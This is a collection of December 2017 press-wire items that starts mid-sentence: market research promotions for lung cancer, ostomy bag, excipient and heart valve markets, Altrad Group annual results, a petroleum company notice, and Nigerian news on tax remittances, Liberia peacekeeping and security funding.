pain, weakness in arm or leg, yellow skin, yellow eyes, headache and balance problems.Some diagnosis test are performed by doctors to detect the lung cancer includes diagnostic imaging test like X-ray, MRI, Ultrasound, CT scan and PET scan, also by checking the mucous when the patient cough up for cancer cells which is called as sputum cytology or also by taking the cells of your lungs from abnormal growth area of your lung or from the fluid of lungs which is called as fine needle aspiration biopsy, bronchoscopy and Mediastinoscopy.Request For Sample Copy@Non-small cell lung cancer market (NSCLC) taxonomy:Global NSCLC Market by Type of NSCLCAdenocarcinoma,Squamous cell carcinoma,Large cell carcinoma,Large cell neuroendocrine tumorsGlobal NSCLC Market by Type of TreatmentSurgery,Chemotherapy,Targeted therapy,Radiation therapyGlobal NSCLC Market by GeographyNorth America,Europe,APAC,Latin America,Middle East,AfricaIncreasing research and development on drugs and the prevalence of lung cancer are the major factors driving the growth of non-small cell lung cancer marketNon-small cell lung cancer is the leading cause of cancer related mortality in U.S. According to the data of American Cancer Society, Inc. (ACSI), NSCLC is the second most common type of cancer found in both men and women. As per the estimation of ACSI, in the year 2017 there will be around 222,500 new cases of lung cancer and 155,870 deaths will happen due to lung cancer in the united states.Therefore, U.S. holds the largest market share of non-small cell lung cancer market followed by Europe as the large number of smokers are present in this region but in last few years the APAC region showed increased number of smokers. According to the stats of International Association for the Study of Lung Cancer (IASLC), China is the worlds largest consumer of tobacco having around 301 million smokers. While in western region the growth in number of smokers. According to the data published by World Health Organization (WHO), for the year 2012 there were around 58% of cases occurred in less developed regions.The increasing prevalence and incident rate of lung cancer and emerging drugs will drive the market towards positive direction, also the increasing awareness about the treatment will support the growth of non-small cell lung cancer market. There are some growth restraining factors are also available that are less awareness about treatment options in emerging countries, availability of generic drugs, lack of research and development about drugs and increased expenditure on advertisements of tobacco products. According to the stats of IASLC, in 2012 tobacco industry spent $ 9.6 billion on tobacco products advertising and promotion which is 40 times greater than NIH research which spent $ 233 million on lung cancer research.Some are the leading companies in non-small cell lung cancer are AstraZeneca Plc, F. Hoffmann-La Roche Ltd, Eli Lilly and Company, Agennix AG, ArQule Inc, GlaxoSmithKline Pharmaceuticals Limited, Daiichi Sankyo Co. Ltd., Sanofi-Aventis, and Boehringer Ingelheim GmbH. Also as per U.S. Food and Drug Administration some latest drug approvals in Market of non-small cell lung cancer by USFDA are on October 24, 2016 pembrolizumab (Merck & Co., Inc.) received approval, also FDA approved atezolizumab for the treatment of NSCLC on October 18, 2016.Get More Details On this Report:About Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Contact Us:Mr. ShahCoherent Market Insights1001 4th Ave,#3200Seattle, WA 98154Tel: +1-206-701-6702Email: sales@ coherentmarketinsights.com Visit Coherent Market Insights Blog @ https://blog.coherentmarketinsights.com Connect with us on LinkedIn @ https://www.linkedin.com/company/coherent-market-insights
PR-Inside.com: 2017-12-19 09:10:59

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Growing geriatric population and increasing prevalence of ulcerative colitis creates large addressable market for ostomy drainage bagsIn the recent past, prevalence of ulcerative colitis and IBD, especially among the geriatric population has increased significantly. Inflammatory bowel disease is common in developed countries, with higher prevalence in urban areas. Urbanization is a factor that might contribute to the increasing occurrence of the disease. However, with urbanization and rise in per capita income, the healthcare spends also increase proportionately. This will ensure timely and speedy recovery of the patients suffering from IBD and ulcerative colitis; thereby driving growth of the market.North America held the largest share of the global ostomy drainage bags market, owing to high patient awareness and large geriatric population. However, Asia Pacific is projected to demonstrate high growth rates during the forecast period. India and China are projected to grow significantly in the global market for ostomy drainage bags in the Asia-Pacific region. Chief driving factors for the growth of industry in this region are increasing healthcare expenditure and presence of a large pool of patients.Request a sample copy of this report: https://www.coherentmarketinsights.com/insight/request-sample/186 Some of the companies operating in the ostomy drainage bags market in the current scenario are Salts Healthcare Ltd., Welland Medical Ltd., Pelcin Healthcare Ltd., ConvaTec Inc., Hollister Incorporated, Coloplast A/S, Alcare Co Ltd, and B. Braun Melsungen AG.Ostomy is a surgery to make an opening or stoma from a locale present in the interior of the body to the exterior. It predominantly treats diseases related to urinary or digestive systems. Ostomy may be permanent or temporary. In some cases an organ must be detached or removed, which is a permanent condition. However, when the organ or the specific part inside the body heals with time, and is not removed, the ostomy is temporary. The organ may be the colon, the small intestine, bladder or rectum. Whenever an ostomy is performed, wastes must be led outside the body through various procedures. This process of draining the wastes out of the body is known as ostomy drainage. The disposal bag used for this process is called ostomy drainage bag. After the ostomy procedure, bowel movements take place through the opening or stoma in the abdominal. This appliance has a bag and wafer. The wafer attaches to the abdominal wall with the help of an adhesive and the material is made of plastic. The primary function of the bag is to retrieve and retain the stool. Ostomy drainage bags are disposable and are replaced or emptied as required.Ask for customization: https://www.coherentmarketinsights.com/insight/request-customization/186 Increasing awareness about ostomy procedure is one of the key factors that will propel the growth of the ostomy drainage bags market. Moreover, increasing incidence of Crohns disease and IBD (inflammatory bowel disease) would further propel growth of market in the foreseeable future.According to National Institute of Diabetes and Digestive and Kidney Diseases, ostomy is broadly divided into three types - Ileostomy, Colostomy, and Urostomy. In Ileostomy, the base of the ileum or small intestine is attached to the opening or stoma. This goes around the anus, colon, and rectum. In colostomy, the colon is linked with the stoma, thereby bypassing the anus and rectum. In urostomy, the pipes that carry urine are linked to the stoma, which helps in bypassing the bladder.Ostomy Drainage Bags Market TaxonomyOn the basis of product type, the global market is classified into:Colostomy BagsUrostomy BagsIleostomy BagsOn the basis of type of use, the global market is classified into:Single-use Ostomy Drainage BagsMulti-use Ostomy Drainage Bags DiagnosticsDue to factors such as increased awareness about colostomy, soaring incidence of colorectal cancer, and a variety of buying options for colostomy bags, the colostomy bags segment accounted for the largest share of the overall ostomy drainage bags market. According to American Cancer Societys estimates, colorectal cancer is the third-most common cancer diagnosed in the U.S., with 95,520 new cases of colon cancer and 39,910 new cases of rectal cancer reported in the country in 2016. Increasing prevalence of colostomy and rectal cancer would necessitate ostomy, which in turn would drive overall growth of the ostomy drainage bags industry.Click here to know more about this report: https://www.coherentmarketinsights.com/ongoing-insight/ostomy-drainage-bags-market-186 About Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Visit our news Website: http://www.coherentnews.com
According to the report Pharmaceutical Excipients Market", published by Market Data Forecast, the North America market is projected to reach $2.44 billion by 2020, at a CAGR of 5.42% from 2015 to 2020

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An excipient is a natural or synthetic constituent formulated alongside the active ingredient of a medication, included for the purpose of inducing and catalysing a wide range of chemical and physical properties.Rise in chronic diseases due to sedentary life style, heavy investments by the pharmaceutical companies in development of biologics, adopting modern innovations like nanotechnology are key driving forces of the market. Developing eco-friendly solutions for manufacturing processes and reducing side-effects of drugs are the major challenge faced by the pharmaceutical industry.Request sample : http://www.marketdataforecast.com/market-reports/north-america-pharmaceutical-excipients-market-368/request-sample The demand of Pharmaceutical Excipients Market is rising in the emerging markets, therefore proper expansion strategies, launching new product pipeline would be a lucrative opportunity for the companies operating in this industries. However, the rise of the market is hindered to a certain level by the fact that investments in R&D by major companies are not up to the required level and increasing regulatory requirements are making it increasingly hard to get new manufacturing facilities approved which are definite threats to overcome.Enquire more about the report: http://www.marketdataforecast.com/market-reports/north-america-pharmaceutical-excipients-market-368/inquire The Pharmaceutical Excipients Market is segmented as following:Based on Product:1) Organic Chemicals Oleochemicals Carbohydrates Petrochemicals Proteins Other Organic Chemicals2) Inorganic Chemicals Calcium Phosphates Metal Oxides Halites Calcium Carbonates Calcium Sulfates Other Inorganic ChemicalsBased on Functionality: Fillers & Diluents Binders Suspension & Viscosity Agents Coatings Disintegrants Flavoring Agents Lubricants & Glidants Colorants Preservatives Other FunctionalitiesBased on Formulation Type: Oral Formulations Tablets Capsules Liquid Formulations Topical Formulations Parenteral Formulations Advanced Delivery SystemsThe major companies operating in the Pharmaceutical Excipients Market are Ashland Inc., Archer Daniels Midland Company, Associated British Foods PLC, Lubrizol Corporation, BASF SE, J.M. Huber Corporation, Merck Millipore, The DOW Chemical Company, FMC Corporation, Roquette Group, AkzoNobel, Colorcon, Inc., Croda International PLC, vonik Industries AG, and E Innophos Holdings Inc.Buy now : http://www.marketdataforecast.com/market-reports/north-america-pharmaceutical-excipients-market-368/ The Pharmaceutical Excipients Market study offers the following deliverables: North America, regional and country-level analysis and forecasts of the study market; providing Insights on the major countries/regions in which this industry is blooming and to also identify the regions that are still untapped Segment-level analysis in terms of technology, component, and type along with market size forecasts and estimations to detect key areas of industry growth in detail Identification of key drivers, restraints, opportunities, and challenges (DROC) in the market and their impact on shifting market dynamics Study of the effect of exogenous and endogenous factors that affect the North America market; which includes broadly demographic, economics, and political, among other macro-environmental factors presented in an extensive PESTLE Analysis Study the micro environment factors that determine the overall profitability of an Industry, using Porters five forces analysis for analysing the level of competition and business strategy development A comprehensive list of key market players along with their product portfolio, current strategic interests, key financial information, legal issues, SWOT analysis and analyst overview to study and sustain the market environment Competitive landscape analysis listing out the mergers, acquisitions, collaborations in the field along with new product launches, comparative financial studies and recent developments in the market by the major companies An executive summary, abridging the entire report in such a way that decision-making personnel can rapidly become acquainted with background information, concise analysis and main conclusions Expertly devised analyst overview along with Investment opportunities to provide both individuals and organizations a strong financial foothold in the marketCheckout other related studies in the Pharmaceuticals Segment:North America Antifungal Drugs Market: http://www.marketdataforecast.com/research-reports/healthcare/pharmaceuticals-1/market-reports/north-america-anti-fungal-drugs-market-245/ North America Antivenom Market: http://www.marketdataforecast.com/research-reports/healthcare/pharmaceuticals-1/market-reports/north-america-antivenom-market-1581/ About Us:Market Data Forecast is a firm working in the area of market research and business intelligence. With rich experience in research across various business domains, we cater to the needs of both individual and corporate clients. Our analyst team comprises expert professionals in market research, who with their collective knowledge and skillset dedicatedly serve clients from various industries and regions.
Prosthetic Heart Valve Market

PR-Inside.com: 2017-12-19 11:55:45

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Prosthetic (artificial) heart valve refers to a device implanted in the heart of a patient suffering from valvular heart disease. A cardiac surgery is performed to replace the abnormal heart valve with a prosthetic heart valve. Replacement of a diseased valve with a prosthetic heart valve results in reduction in morbidity and mortality associated with the cardiac valve disorder. When the treatment of heart valve disease reaches a stage where it does not provide relief to the patient, then surgery recommended as the best alternative to repair or replace the valve. In case of a valve replacement surgery, carbon based mechanical valves and biological tissue valve are the types of valves that can be selected based on the condition. Advancements in technology and increasing prevalence of heart valve diseases are some major factors projected to drive growth of the prosthetic heart valve market in the near future.Request a sample copy of this report: https://www.coherentmarketinsights.com/insight/request-sample/69 Selection of a Heart Valve also depends on the Type of PolymerOn the basis of product type, the global prosthetic heart valve market can be segmented into mechanical heart valves, transcatheter heart valves, and tissue heart valves. Tissue heart valves are harvested from pig heart valves and cow heart sac. The life of a tissue valve is 10 to 15 years. Tissue heart valves is further classified into stented tissue valve, stentless tissue valve, tissue-engineered valves, homograft valves, and heterograft valves. Aortic valves and mechanical mitral valves are the two types of mechanical heart valves.Technologies for prosthetic heart valves include anti-calcification, sutureless valves, polymers, and carbon-based technologies. The primary cause of failure of bioprosthetic valves is structural valve deterioration due to tissue calcification. An anticalcification technology was developed that may irreversibly choke calcium binding sites in bioprosthetic valves. In February 2016, the U.S. FDA approved a new technology called sutureless aortic valve replacement that is used for treatment of aortic valve disease. Sutureless valves are used to treat aortic valve disease and is a relatively less invasive for patients. The use of polymers to produce leaflet valves, which have same benefit of bioprosthetic and mechanical valves has been available since mid-1950s. Much attention has been focused on thermoplastic polyurethanes due to its various beneficial properties.Developed Nations Current Hubs, while Low and Middle Income Countries to emerge as Major MarketsIncreasing prevalence of heart diseases, technological advancements, government funding, robust healthcare infrastructure, and rise in healthcare expenditure in the U.S. are major factors projected to propel growth of the prosthetic heart valve industry in this region. According to Centers for Diseases Control and Prevention (CDC) about 610,000 people die due to heart diseases in U.S. every year. The growth of prosthetic heart valve market size in Asia is expected to be high in the near future due to increasing incidence of various chronic diseases and improving healthcare infrastructure in this region. According to a study published in the Lanceta U.K.-based medical journalthe number of people affected by high blood pressure has almost doubled over past 40 years (from 1975 to 2015).Ask for customization: https://www.coherentmarketinsights.com/insight/request-customization/69 Growing Aging Population highly susceptible to Heart Diseases to Spur growth of the prosthetic heart valve marketAdvancements in technology, increasing aging population, and significant rise in prevalence of heart valve disorder are some factors that are expected to drive growth of the prosthetic heart valve industry in the near future. However, factors such as high costs of development, stringent government regulations, reimbursement issues, and lack of trained professionals are inhibiting growth of the prosthetic heart valve market to certain extent.Global players involved in the prosthetic heart valve marketThe market in prosthetic heart valve is characterized by the presence of major global players. Some of the prominent names include Boston Scientific Corporation, St. Jude Medical, Inc., Sorin S.P.A, Abbott Laboratories, Claret Medical, Inc., AorTech, Edwards Lifesciences Corporation, Neovasc Inc., and JenaValve Technology.Better Patient Outcomes utilizing Prosthetic Heart Valves to Ensure Sustained DemandDeveloped regions such as North America and Europe are rapidly growing regions in the prosthetic heart valve market, mainly attributed to robust healthcare infrastructure, increasing prevalence of valvular heart disease, and favorable reimbursement scenario. The experience of using an aortic bioprosthetic valve treated with anticalcification tissue technology demonstrates excellent valve performance, safety, and durability. Minimally invasive devices for treatment of heart surgery are the need of the hour to ensure better patient experience. The sutureless valve technology is less invasive for patients, which is expected to witness higher adoption in the near future. Transcatheter has given improved patient survival rate when compared with medical therapy.Click here to know more about this report: https://www.coherentmarketinsights.com/ongoing-insight/prosthetic-heart-valve-market-69 About Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Visit our news Website: http://www.coherentnews.com
PR-Inside.com: 2017-12-19 19:04:14

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FSCwire / Press ReleaseThe following press release was disseminated by FSCwire for Tenth Avenue Petroleum Corp.--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---Calgary, Alberta (FSCWire) - Tenth Avenue Petroleum Corp. (TSX Venture:TPC). has issued a press release with the following headline:TAPC Reschedules AGM and Withdraws NI44-101 Notice of IntentTo view this press release on the FSCwire website, please either click on the link below, or copy and paste the link into your browser:If you would prefer, you can also view this press release as a PDF file, please either click on the link below, or copy and paste the link into your browser:For more information on Tenth Avenue Petroleum Corp., or to see additional press releases issued by this company, please either click on the link below, or copy and paste the link into your browser: http://www.fscwire.com/public-company/Tenth Avenue Petroleum Corp.Source: Tenth Avenue Petroleum Corp. (TSX Venture: TPC)Date: December 19, 2017Time: 1:03 PM EST--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---The story mentioned above was issued on behalf of Tenth Avenue Petroleum Corp. and disseminated through FSCwire.About FSCwireFSCwire (a division of Filing Services Canada Inc.), is a global newswire dissemination, SEDAR, SEDI, and EDGAR / XBRL service provider.FSCwire is a full service global newswire dissemination company and is fully approved by all exchanges in Canada and the U.S. Press releases can be distributed for all sizes of public, private or not for profit companies and any other organization requiring news distribution. In addition to individual companies; public relations, communications and investor relations firms trust FSCwire to distribute press releases for their respective clients.In addition to newswire dissemination FSCwire also offers EDGAR, XBRL, SEDAR, SEDI, and additional services for publicly traded companies. For more information, please go to our website: http://www.fscwire.com Maximum News Dissemination by FSCwire. http://www.fscwire.com Copyright 2017 - FSCwire (a division of Filing Services Canada Inc.)
PR-Inside.com: 2017-12-19 08:02:01

The Altrad Group continues to grow and reposition itself as a leading global provider of industrial services

The Altrad Group Full-Year Results for the 12 Month Period Ended August 2017

GROUPE ALTRAD

Ran Oren

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Highlights

Strategic acquistion of Cape Plc for 332 million supports the continued repositioning of the Altrad Group (Altrad or the Group) as a global leader in critical construction and maintenance services to industry.

With over 39,000 employees, the Altrad Group consists the Cape, Hertel, Prezioso and legacy Altrad teams, focused on supporting the Oil and Gas, Energy, Industrial and Construction sectors across 5 continents.

Pro Forma revenues for the year, following the recent Cape acquisition, amount to c. 3.4 billion*, with Adjusted EBITDA of 426m*.

Pro Forma net profit for the Group was 111m*.

UK operations form an important component to Altrads growth strategy, with c.10,000 employees and revenues of 925m.

* Pro Forma: incl. 12 months of Cape Plc contribution

After the acquisitions of Hertel in 2015 and Prezioso in 2016, followed in September 2017 by the successful public offer for the Cape group, Altrad has entered a new phase of evolution.

Today, it has become one of the world leaders in the provision of services to industry.

This strategic development is the third stage in a history that began in 1985 with the founding of the group by Mohed Altrad.

Initially specialised in the manufacture of construction equipment, Altrads second stage of development took place in the hire sector, accompanied by a change of scale.

Pursuing a policy of dynamic growth and diversification of activities, at the end of the third major strategic move in its history, Altrad has become a group primarily oriented towards services to industry, and has retained the strength of manufacturing and availability of hire facilities of its previous lines of business.

Thus, the group now offers its customers:

- A full range of services to industry, in the framework of facility maintenance and new construction, including access, insulation, corrosion protection, the engineering and installation of mechanical systems, as well as specialised services (inspection, environment). This offer, mainly aimed at major industrial customers in the Oil & Gas, Energy, Process Industries (including Chemicals and Petrochemicals) and Construction sectors, is deployed throughout Europe as well as in Africa, Asia, Australia and the Middle East.

- The service activity, which largely predominates, now accounts for 82% of the group's revenues.

- A wide range of construction equipment (scaffolding, props, shoring, formwork, concrete mixers, etc.) for hire and sale, representing 18% of the group's revenues.

Recent commercial successes have confirmed the group's strategic choices and the relevance of its service offering, including winning major contracts for the renovation of Austerlitz railway station in Paris, maintenance of the Ineos sites in Grangemouth (UK), the construction of an acetylene manufacturing unit for BASF (Germany)....

With a turnover of more than 3.4 billion euros and 39,000 employees worldwide, the Group has achieved world leadership in its fields of activity. It has a resilient business profile, due to the predominance of high recurring maintenance activities and its presence in various geographical areas (United Kingdom, Continental Europe, Asia, Australia, Africa and the Middle East) and in several business sectors (Oil & Gas, Energy, Construction, Process Industries), reducing its exposure to market risks and cyclical fluctuations.

Developments by business line naturally reflect the significant growth in services, but also the resilience of the manufacturing, hire and sales activities for construction equipment and public authorities.

EBITDA performance has improved, representing 15.1% of sales compared to 13.5% at the end of August 2016. It reflects the efforts made in terms of operational efficiency and the streamlining of central structures ("LEAN" model).

Results - current and net operating income - also show strong growth. They reflect the constant requirement for profitability, the implementation of intra-group synergies and economies of scale.

Free cash flow generated by the business has increased significantly, reaching an EBITDA conversion rate of 59%. It is the result of work carried out to optimise working capital requirements and efforts to make better use of capital, in particular by pooling equipment between the various entities of the group.

Changes in shareholders' equity and financial structure reflect the development strategy implemented and the constant concern to maintain net debt at a reasonable level, leaving room for sustainable and balanced growth.

Safety remains the number one concern of every Altrad employee up to the Chairman. Our ambition is to go beyond quantified objectives (zero accidents) and create a genuine safety culture. During the past financial year, we launched our new Safety brand "Beyond Zero" and inaugurated our safety excellence centre, in charge of leading our safety teams, identifying and sharing best practices, implementing reporting mechanisms, creating training materials, conducting on-site audits...

Ethics is one of the essential conditions in conducting our business. The Altrad Group has implemented a Code of Conduct, applicable to all its employees, which complies with the strictest laws of the countries in which it operates (Sapin II law, UK Bribery Act, FCPA, etc.). The groups legal director acts as Compliance Officer in conjunction with the Group Ethics Committee.

Risk management is an essential part of the group's life. As a family-owned company committed to sustainable growth, the Group pays particular attention to controlling its main risks, whether macro-economic, political, cyclical, financial or operational.

A risk map is updated every year and presented to the Board of Directors, along with actions to reduce exposure.

PROSPECTS

The Group's presence in different markets and its broad geographical coverage should enable it to take full advantage of the opportunities that will arise.

Thus, large-scale industrial installations are under construction or planned on every continent, whether in Oil & Gas (LNG terminals, offshore platforms), energy (nuclear power stations), the chemical industry, etc. Major refurbishment programmes are also being launched by operators to extend the life of existing sites.

A recovery in construction-related activity is being seen in Continental Europe, compensating for the foreseeable slowdown in the United Kingdom in this sector, given the potential impact of Brexit.

Emerging countries (Asia, Africa) are experiencing sustained growth.

With its strong leadership positions, the group is ideally placed to take advantage of these development opportunities and assert itself as a key player in its markets. Its sound financial structure, stable shareholding, efficient management and the rich diversity of cultures represented in its midst are all assets for its future success.

Notes to editors

The Altrad Group is a global leader in providing innovative, safe and reliable services and goods to customers across the industrial, energy and construction sectors. With a presence in more than 100 countries, across 5 continents, Altrad employs more than 39,000 employees and has pro forma revenues of c. 3.4 billion.

View source version on businesswire.com: http://www.businesswire.com/news/home/201712180059
Market Data Forecast recently published a report on the North America Lung Cancer Therapeutics Market  which estimates the market to grow from USD 1.81 billion from 2016 to USD 2.44 billion with a high CAGR of 6.14%.

Market Data Forecast

PR-Inside.com: 2017-12-19 13:55:08

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There are many ways that normal cells in the lungs change into cancer. Research into how cancer develops has led to therapies that target cancer in some very specific ways. To understand targeted therapies, it helps to look at how cells work and how they can change into cancer. Until the mid-2000s, treatment options were mostly limited to surgery, chemotherapy and radiation. Now, people diagnosed with lung cancer often have newer, more personalized treatment options. The goal of targeted therapy is to accurately target your individual tumour, which hopefully leads to more effective treatments and less side effects. The purpose of this brochure is to help you understand targeted therapies and what they mean for you. Targeted therapies work in similar ways in all cancers but certain drugs are more effective in certain subtypes of lung cancer.Request sample: http://www.marketdataforecast.com/market-reports/north-america-lung-cancer-therapeutics-market-894/request-sample The DROC Analysis contains some of the factors that have major effects on the market dynamics be it positive or negative. Few factors analysed in the section are tobacco smoking, rise in elderly population and irregular lifestyle. Conversely, high unmet need for diagnosis, accessibility of great number of generic forms of major drugs and inadequate treatment options are the key restrains to the North America lung cancer therapeutics market.The market is segmented based on treatment type and studied for a deep-level understanding of the Hormone Replacement Therapy market. Each sub segment is accompanied with Market Size Estimations and Y-o-Y Forecasts as well. By Treatment Type1) Chemotherapy Cisplatin Taxol Navelbine Camptosar Alimta2) Radiotherapy External Beam Internal Beam Systemic3) Other Drugs Abraxane Avastin Crizotinib Docetaxel GefitinibCustomize report: http://www.marketdataforecast.com/market-reports/north-america-lung-cancer-therapeutics-market-894/customize-report North American Market is studied in geographic perspective by segregating the market shares between USA and Canada. USA dominates the market in the region owing to the economic conditions, awareness among women and government reimbursement policies present.Inquire before buying: http://www.marketdataforecast.com/market-reports/north-america-lung-cancer-therapeutics-market-894/inquire As per the report, some of the key players operating in the North America hormone replacement industry are Novartis, Abbott Laboratories, Pfizer, Mylan Laboratories, F. Hoffmann-La Roche, Merck & Co., Amgen, Eli Lily, Bayer, Novo Nordisk, Wyeth, Hisamitsu Pharmaceutical Co. Inc.Buy now: http://www.marketdataforecast.com/cart/buy-now/north-america-lung-cancer-therapeutics-market-894 Scope of the North America Lung Cancer Therapeutics Market : Regional and country-level analysis that provides an innate perspective of USA and Canada Market to that of the North American region To detect major focus areas of industrial growth Segment-level analysis on basis of type, therapeutics, end-user along with market size forecasts and y-o-y estimations are provided Detailed explanation of major drivers, restraints, opportunities, and challenges (DROC) that affect the market and impact the ever-shifting market dynamics PESTLE and Porters Five Forces Analyses that examine the macro & micro environmental factors such as political influence, technological prowess, industry rivalry to name a few. An extensive listing of major market players along with company overview, product portfolios, key financial information (subjected to availability), SWOT analysis and analyst overview to study and sustain the market environment mergers, acquisitions, collaborations in the field along with new product launches, comparative financial studies and recent developments in the market by the major companies all rolled out into Competitive landscape Expertly devised Market Outlook comprising the Investment opportunities to provide both individuals and organizations a strong financial foothold in the marketRequest Discount: http://www.marketdataforecast.com/market-reports/north-america-lung-cancer-therapeutics-market-894/request-discount Checkout other related studies in the Therapeutics Segment] :Cancer Immunotherapy Market: http://www.marketdataforecast.com/research-reports/healthcare/therapeutics-11/market-reports/global-cancer-immunotherapy-market-1412/ Cardiovascular therapeutic Drugs Market: http://www.marketdataforecast.com/research-reports/healthcare/therapeutics-11/market-reports/global-cardiovascular-therapeutic-drugs-market-1426/ About Market Data Forecast:The publisher of this report is Market Data Forecast whose forte lies in Market research and Business Intelligence. Handling both individual and corporate clients across multiple business domains they offer syndicated/customized research to suit the clients research objective. Their research reports section offers a wide variety of market studies ranging from all-encompassing comprehensive market studies to product specific niche markets covering North America among other regions of the global market as well. For more info kindly visit, www.marketdataforecast.com
The Niger State Government wants the federal government to intervene over perceived annual loss of over N12 billion from wrong remittances of taxes paid by workers residing in its domain, but working in the Federal Capital Territory, Abuja.

The state governor, Abubakar Bello, told the Minister of Finance, Kemi Adeosun, on Monday during a visit to her office in Abuja that the state has been losing an average of N1 billion monthly to wrong tax remittances.

Over 95,000 workers, in both the public and private sectors, who reside in Niger State work in Abuja. However, their taxes are not paid to the state government, but to the Federal Capital territory, FCT, the governor told the minister.

This is an injustice the state feels should be corrected. It has affected the state tremendously, especially in the areas around Suleija and environs, as a result of the number of workers who reside there and commute to work in Abuja every day. The immediate problem has been a lot of pressure on the infrastructural facilities in the state.

Although the governor said the state currently earns about N400 million monthly from internally generated revenue, IGR, sources, he said his administration believed if the issue was redressed, it would boost its revenue base and help bridge the budget financing gap it has grapple with every year.

The governor, who was accompanied by some members of his cabinet, requested the minister to direct the Accountant General of the Federation, AGF, to ensure that henceforth tax deductions from salaries of workers residing in Niger State should be paid to the state for the sake of equity and fairness.

We want the government to correct the injustice as a result of these abnormality that has affected the state over time. It is important that we at the state level increase our revenues to block the gap in terms of financial deficit, so that we can fund our budget.

We have done enumeration of the situation. It is very clear that a lot of taxes due to Niger State were being paid to the FCT. Niger State is close to about 90,000 square kilometres.

Our infrastructures are in complete decay. Without adequate funding, we find it very difficult to provide basic infrastructures, like healthcare, education, social infrastructures, which have all been in comatose condition for years, the governor said.

In her response, Mrs. Adeosun admitted that losing the estimated N1 billion in revenue every month was huge and assured that she would liaise with the office of the Accountant General of the Federation to ensure that, the correction was done.

One of the fundamental issues with tax payment is the link with services. The person paying tax must see the services they are getting from the money realised. If those taxes are going to the wrong places, that link is broken.

Nobody would be willing to become tax payers if they do not see where those monies they are paying become useful. Losing N1 billion a month is a lot of money being paid by people residing in Niger, but remitted in error to the FCT, the minister said.

While commending the state government for focusing on other sources of revenue, Mrs. Adeosun said this was what states were expected to do as part of efforts to realise the goals of the fiscal sustainability.

She cited a similar situation between Ogun and Lagos States, which she said was resolved through the application of the provisions of Section 41 of the personal income tax law that taxes should be paid where the tax payer resides, not where they work.

Its a genuine mistake that should have been addressed by previous administrations. Its good that the state government has done the enumeration and come up with the facts and figures.

My advice is for states to liaise with the office of the Accountant General of the Federation and IPPIS (Integrated Personnel Payroll Information System) to ensure that their taxes were disaggregated, and Niger States would be paid to Niger and those in the FCT would be made to pay to FCT.

Other states bordering the FCT, like Nassarawa may also be affected. Your enumeration efforts should also extend to agencies that are public, like CBN, NDIC, NCC that have their different payrolls and employers, both in the private and public sector as well as the diplomatic community.

We will do the right thing. We dont want to deprive anybody of their right. There must be a link between peoples services and tax payment and their standard of living. Thats the only we can encourage people to pay tax. If people pay tax and cant see any improvement in their lives, it becomes very discouraging, the minister said.
The Special Representative of the Secretary-General, SRSG, and Head of the United Nations Mission in Liberia, UNMIL, Farid Zarif, praised Nigerian peacekeepers for their long service in the country, during an interview with the UNs Department of Public Information in New York last week.

According to SRSG Zarif, UNMILs mandate will conclude on March 30, 2018. The mission, that once had more than 16,000 military and police personnel, has been downsizing for several years and now deploys slightly more than 700 uniformed personnel. Last year it transferred all security responsibilities to the Government of Liberia.

Our last military contingent is that from Nigeria, NICOY, and we are now planning to have it repatriated by the end of January. Because of the lost timelines in the elections, we had to postpone their departure by a month, Mr. Zarif said.

Nigeria also continues to provide a Formed Police Unit, as does China. The only other peacekeeping contingents that now remain are a Ukrainian Aviation Unit and a Pakistani Medical Unit who are supporting the UN presence.

SRSG Zarif expressed a special thank you to Nigeria, while expressing gratitude for all the contributors to the peace operations in Liberia. The Nigerians have always been in the forefront of the effort to come to the assistance of Liberia, even without the UN at the time of ECOMOG (Economic Community of West African States Monitoring Group) prior to the UNs deployment, they were there as one of the largest contingents. So, I think not only we as the United Nations but also the people and Government of Liberia are very grateful for the support and assistance that they have received from Nigeria, said SRSG Zarif.

He added that solidarity of such an international nature requires sacrifice: you leave your home behind, you leave your family behind, you go to a foreign land that youve barely known about to help others who are in distress temporarily. Coming to the aid of another nation is a matter of pride for them. In fact, when they receive the medals of appreciation from the United Nations, you see that glimmer of pride in their eyes; feeling very, very honoured to have been part of the international effort to support a nation in distress. So, what is achieved by the Liberians is also seen as a success in the efforts of all the troop and police contributors. We are very, very grateful to them.

Liberia is scheduled to hold a delayed presidential run-off vote on December 26 and hopefully we will meet the timeline for the transition of Government sometime in January, said SRSG Zarif.

Mr. Zarif said he is absolutely confident that UNMILs deployment was a worthy investment but that there is a whole lot that needs to be done in the future. Thats why we are calling for the continued robust engagement of the international community after the withdrawal of UNMIL and its peacekeepers, SRSG Zarif concluded.
The Governor of Katsina State, Aminu Masari, has said that the controversy generated over the decision of Nigerias 36 governors to allow the federal government use $1 billion from the Excess Crude Account to fight Boko Haram insurgency is unnecessary.

Mr. Masari stated this on Monday in Tahoua, Niger Republic, while speaking with State House correspondents.

He said going by the antecedents of President Muhammadu Buhari, it is not possible for the money to be diverted.

People may be remembering that during the last administration when excess crude money was given to members of the armed forces to procure arms and ammunition, the money ended up in the pocket of some highly placed individuals.

First of all, the money that we are giving is not up to half of what was given earlier, but we know now that with the current president it is impossible for anybody to divert this money except for what it is earmarked for, he said.

He also said it is important not to lose sight of the dangers posed by insecurity, which, he said, is everybodys business.

It is very important for us to appreciate security is everybodys business and we need to fight this situation head on.

One billion dollars is not much for security. If we have more, we can give more to make sure that the country is well secured, he said.

The Katsina Governor represented President Buhari as head of a four person delegation at an event to commemorate the 59th anniversary of the countrys attainment of Republican status.

Those in the delegation include the governor of Borno, Kashim Shettima; the governor of Yobe, Ibrahim Geidam; and the Minister of State for Foreign Affairs, Khadijah Ibrahim.

Nigerian governors last week announced the decision to approve the money at the end of the meeting of the National Economic Council, NEC, which held in Abuja.

However, one of their colleagues, the Governor of Ekiti State, Ayodele Fayose, and his party, the Peoples Democratic Party, PDP, expressed the fear that the money may be diverted for political purposes ahead of the 2019 election.

